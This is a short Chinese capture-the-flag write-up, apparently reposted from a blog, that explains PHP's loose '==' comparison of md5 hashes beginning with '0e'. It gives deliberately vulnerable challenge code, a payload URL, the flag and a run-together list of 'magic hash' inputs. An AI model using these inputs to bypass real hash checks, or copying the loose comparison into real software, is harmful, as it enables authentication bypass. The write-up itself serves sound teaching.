标签:等于 sel lin md5加密 cal pad echo 哈希 round
<?php $md51 = md5(‘QNKCDZO‘); $a = @$_GET[‘a‘]; $md52 = @md5($a); if(isset($a)){ if ($a != ‘QNKCDZO‘ && $md51 == $md52) { echo "flag{*}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
要是md51等于md52
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以“0E”开头的哈希值都解释为0,
如果两个不同的值经过哈希以后,都是0E开头,那么PHP将会认为他们相同
payload
http://123.206.87.240:9009/13.php?a=s878926199a
flag{bugku-dmsj-am9ls}
s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469标签:等于 sel lin md5加密 cal pad echo 哈希 round
原文地址:https://www.cnblogs.com/gaonuoqi/p/11408083.html